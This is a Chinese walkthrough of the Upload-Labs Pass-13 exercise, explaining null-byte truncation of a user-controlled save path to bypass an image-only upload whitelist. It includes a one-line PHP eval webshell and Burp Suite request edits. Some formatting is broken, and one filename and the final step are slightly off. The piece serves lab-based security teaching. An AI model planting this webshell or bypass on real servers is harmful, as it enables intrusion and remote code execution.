文章总结: 本文详细解析了UploadLabs第13关的通关思路,核心是利用POST参数与0x00截断绕过文件上传限制。文章对比了第12关与第13关的异同,分析了0x00截断的原理,并通过BurpSuite抓包修改请求体的方式,构造恶意文件名(如shell.php\x00.jpg),最终成功上传并执行PHP文件。 综合评分: 85 文章分类: WEB安全,渗透测试,实战经验,红队,安全开发
✔ 关键点拆解
1️⃣ 后缀检测
$file_ext = substr(...)
👉 只检查上传文件名的后缀(不是保存路径)
2️⃣ 白名单限制
jpg / png / gif
👉 必须上传“图片后缀”3️⃣ 核心漏洞点
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
👉 保存路径完全由用户控制!
三、前置知识:0x00 截断(实战版)
✔ 什么是 %00
%00 → URL编码
\x00 → NULL字节
在 C 语言中:
char str[] ="shell.php\0.jpg";
实际内容为:
shell.php
✔ 截断成立的前提
❗ 必须让服务端接收到真实的 NULL 字节(\x00)
⚠️ 关键点(很多人卡在这里)
%00 ≠ \x00
| | | | — | — | | 写法 | 实际效果 | | %00 | 普通字符串 ❌ | | \x00(真实NULL) | 触发截断 ✅ |
四、攻击思路(核心)
🎯 利用目标
构造:
shell.php\x00.jp
让:
PHP 检测:.jpg ✅
底层写入:shell.php💡 利用本质
💥 检测在 PHP 层,执行在底层 C 函数层
五、实战操作(重点步骤)
1️⃣ 准备一句话木马
<?php@eval($_POST['cmd']); ?>
2️⃣ 修改文件名
shell.jpg
👉 用于通过白名单检测
3️⃣ Burp Suite 抓包
上传文件并抓包,请求类似:
POST /upload-labs/Pass-13/index.php
4️⃣ 修改 Body(关键步骤🔥)
找到:
Content-Disposition: form-data; name="save_path"../upload/
✔ 修改为:
Content-Disposition: form-data; name="save_path"../upload/shell.php

版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论